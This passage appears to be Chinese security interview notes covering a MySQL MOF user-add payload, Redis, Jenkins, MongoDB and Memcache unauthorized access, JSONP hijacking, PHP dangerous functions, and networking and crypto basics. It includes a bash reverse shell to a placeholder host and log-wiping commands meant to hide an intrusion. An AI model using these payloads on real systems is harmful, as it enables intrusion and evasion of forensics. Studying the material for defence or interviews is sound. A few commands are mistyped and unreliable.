"filtP2";Query = "Select * From __InstanceModificationEvent ""Where TargetInstance Isa
\"Win32_LocalTime\" ""And TargetInstance.Second = 5";QueryLanguage = "WQL";};
instance of ActiveScriptEventConsumer as $Consumer{Name = "consPCSV2";ScriptingEngine =
"JScript";ScriptText ="var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user
waitalone waitalone.cn /add\")";};
instance of __FilterToConsumerBinding{Consumer   = $Consumer;Filter = $EventFilter;};
```

其中的第 18 行的命令，上传前请自己更改。

2、执行 load_file 及 into dumpfile 把文件导出到正确的位置即可。

```
select load file('c:/wmpub/nullevt.mof') into dumpfile
'c:/windows/system32/wbem/mof/nullevt.mov'
```

执行成功后，即可添加一个普通用户，然后你可以更改命令，再上传导出执行把用户提升到管理员权限，然后 3389 连接之就 ok 了。

特殊漏洞

Struts2-045

Redis 未授权访问

产生原因

Redis 默认情况下，会绑定在 0.0.0.0:6379，这样将会将 Redis 服务暴露到公网上，如果在没有开启认证的情况下，可以导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下可以利用 Redis 的相关方法，可以成功在 Redis 服务器上写入公钥，进而可以使用对应私钥直接登录目标服务器

利用条件和方法

条件:
a、redis 服务以 root 账户运行
b、redis 无密码或弱密码进行认证
c、redis 监听在 0.0.0.0 公网上
方法:
a、通过 Redis 的 INFO 命令，可以查看服务器相关的参数和敏感信息，为攻击者的后续渗透做铺垫
b、上传 SSH 公钥获得 SSH 登录权限
c、通过 crontab 反弹 shell
d、slave 主从模式利用

修复

密码验证
降权运行
限制 ip/修改端口

Jenkins 未授权访问

攻击者通过未授权访问进入脚本命令执行界面执行攻击指令
`println "ifconfig -a".execute().text` 执行一些系统命令,利用 wget 下载 webshell

MongoDB 未授权访问

开启 MongoDB 服务时不添加任何参数时,默认是没有权限验证的,而且可以远程访问数据库，登录的用户可以通过默认端口无需密码对数据库进行增、删、改、查等任意高危操作。

防护

1、为 MongoDB 添加认证：1)MongoDB 启动时添加–auth 参数 2)给 MongoDB 添加用户：use admin #使用 admin 库 db.addUser(“root”, “123456”) #添加用户名 root 密码 123456 的用户 db.auth(“root”,“123456”) #验证下是否添加成功，返回 1 说明成功 2、禁用 HTTP 和 REST 端口 MongoDB 自身带有一个 HTTP 服务和并支持 REST 接口。在 2.6 以后这些接口默认是关闭的。mongoDB 默认会使用默认端口监听 web 服务，一般不需要通过 web 方式进行远程管理，建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数 nohttpinterface=false 3、限制绑定 IP 启动时加入参数 –bind_ip 127.0.0.1 或在/etc/mongodb.conf 文件中添加以下内容：bind_ip = 127.0.0.1

Memcache 未授权访问

Memcached 是一套常用的 key-value 缓存系统，由于它本身没有权限控制模块，所以对公网开放的 Memcache 服务很容易被攻击者扫描发现，攻击者通过命令交互可直接读取 Memcached 中的敏感信息。

利用

1、登录机器执行 netstat -an |more 命令查看端口监听情况。回显 0.0.0.0:11211 表示在所有网卡进行监听，存在 memcached 未授权访问漏洞。
2、telnet 11211，或 nc -vv 11211，提示连接成功表示漏洞存在

漏洞加固

a、设置 memchached 只允许本地访问 b、禁止外网访问 Memcached 11211 端口 c、编译时加上 –enable-sasl，启用 SASL 认证

FFMPEG 本地文件读取漏洞

原理

通过调用加密 API 将 payload 加密放入一个会被执行的段字节中。但是具体回答工程中我只回答道了 SSRF 老洞，m3u8 头，偏移量，加密。

安全知识

WEB

常用 WEB 开发 JAVA 框架

STRUTS,SPRING 常见的 java 框架漏洞 其实面试官问这个问题的时候我不太清楚他要问什么，我提到 struts 的 045 048，java 常见反序列化。045 错误处理引入了 ognl 表达式 048 封装 action 的过程中有一步调用 getstackvalue 递归获取 ognl 表达式 反序列化 操作对象，通过手段引入。apache common 的反射机制、readobject 的重写，其实具体的我也记不清楚。。。然后这部分就结束了

同源策略

同源策略限制不同源对当前 document 的属性内容进行读取或设置。不同源的区分：协议、域名、子域名、IP、端口，以上有不同时即不同源。

Jsonp 安全攻防技术，怎么写 Jsonp 的攻击页面？

涉及到 Jsonp 的安全攻防内容

JSON 劫持、Callback 可定义、JSONP 内容可定义、Content-type 不为 json。

攻击页面

JSON 劫持，跨域劫持敏感信息，页面类似于

-
-
-
-
-

```
function wooyun(v){alert(v.username);}</script><script
src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
```

Content-type 不正确情况下，JSONP 和 Callback 内容可定义可造成 XSS。JSONP 和 FLASH 及其他的利用参照知道创宇的 JSONP 安全攻防技术。

PHP

php 中命令执行涉及到的函数

1，代码执行：eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2，文件读取：file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3，命令执行：system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()

安全模式下绕过 php 的 disable fuction

DL 函数，组件漏洞，环境变量。

PHP 弱类型

`==` 在进行比较的时候，会先将字符串类型转化成相同，再比较
如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换成数值并且比较按照数值来进行
`0e` 开头的字符串等于 0

数据库

各种数据库文件存放的位置

mysql:

`/usr/local/mysql/data/`

`C:\ProgramData\MySQL\MySQL Server 5.6\Data\`

oracle:`$ORACLE_BASE/oradata/$ORACLE_SID/`

系统

如何清理日志

meterpreter: `clearev`

入侵 Linux 服务器后需要清除哪些日志？

web 日志，如 apache 的 access.log,error.log。直接将日志清除过于明显,一般使用 sed 进行定向清除
e.g. sed -i -e '/192.169.1.1/d'
history 命令的清除，也是对~/.bash_history 进行定向清除
wtmp 日志的清除，/var/log/wtmp
登录日志清除 /var/log/secure

LINUX

查看当前端口连接的命令有哪些？netstat 和 ss 命令的区别和优缺点

- `netstat -antp` `ss -l`

ss 的优势在于它能够显示更多更详细的有关 TCP 和连接状态的信息，而且比 netstat 更快速更高效。

反弹 shell 的常用命令？一般常反弹哪一种 shell？为什么？

- `bash -i>&/dev/tcp/x.x.x.x/4444 0>&1`

通过 Linux 系统的/proc 目录 ，能够获取到哪些信息，这些信息可以在安全上有哪些应用？

- `ls /proc`
  系统信息，硬件信息，内核版本，加载的模块，进程

linux 系统中，检测哪些配置文件的配置项，能够提升 SSH 的安全性。

`/etc/ssh/sshd___config`iptables 配置

如何一条命令查看文件内容最后一百行

- `tail -n 100 filename`

Windows

如何加固一个域环境下的 Windows 桌面工作环境？请给出你的思路。

密码学

AES / DES 的具体工作步骤

RSA 算法

加密:
密文＝明文^EmodN
RSA 加密是对明文的 E 次方后除以 N 后求余数的过程
公钥＝(E,N)
解密:
明文＝密文^DmodN 私钥＝(D,N)
三个参数 n,e1,e2
n 是两个大质数 p,q 的积

分组密码的加密模式

如何生成一个安全的随机数？

引用之前一个学长的答案，可以通过一些物理系统生成随机数，如电压的波动、磁盘磁头读/写时的寻道时间、空中电磁波的噪声等。

SSL 握手过程

建立 TCP 连接、客户端发送 SSL 请求、服务端处理 SSL 请求、客户端发送公共密钥加密过的随机数据、服务端用私有密钥解密加密后的随机数据并协商暗号、服务端跟客户端利用暗号生成加密算法跟密钥 key、之后正常通信。这部分本来是忘了的，但是之前看 SSL Pinning 的时候好像记了张图在脑子里，挣扎半天还是没敢确定，遂放弃。。。

对称加密与非对称加密的不同，分别用在哪些方面

TCP/IP

TCP 三次握手的过程以及对应的状态转换

（1）客户端向服务器端发送一个 SYN 包，包含客户端使用的端口号和初始序列号 x;
（2）服务器端收到客户端发送来的 SYN 包后，向客户端发送一个 SYN 和 ACK 都置位的 TCP 报文，包含确认号 xx1 和服务器端的初始序列号 y;
（3）客户端收到服务器端返回的 SYNSACK 报文后，向服务器端返回一个确认号为 yy1、序号为 xx1 的 ACK 报文，一个标准的 TCP 连接完成。

TCP 和 UDP 协议区别

tcp 面向连接,udp 面向报文 tcp 对系统资源的要求多 udp 结构简单 tcp 保证数据完整性和顺序，udp 不保证

https 的建立过程

a、客户端发送请求到服务器端
b、服务器端返回证书和公开密钥，公开密钥作为证书的一部分而存在
c、客户端验证证书和公开密钥的有效性，如果有效，则生成共享密钥并使用公开密钥加密发送到服务器端
d、服务器端使用私有密钥解密数据，并使用收到的共享密钥加密数据，发送到客户端
e、客户端使用共享密钥解密数据
f、SSL 加密建立

流量分析

wireshark 简单的过滤规则

过滤 ip:
过滤源 ip 地址:`ip.src==1.1.1.1;`,目的 ip 地址:`ip.dst==1.1.1.1;`
过滤端口:
过滤 80 端口:`tcp.port==80`,源端口:`tcp.srcport==80`,目的端口:`tcp.dstport==80`
协议过滤:
直接输入协议名即可,如 http 协议 `http`
http 模式过滤:
过滤 get/post 包 `http.request.mothod=="GET/POST"`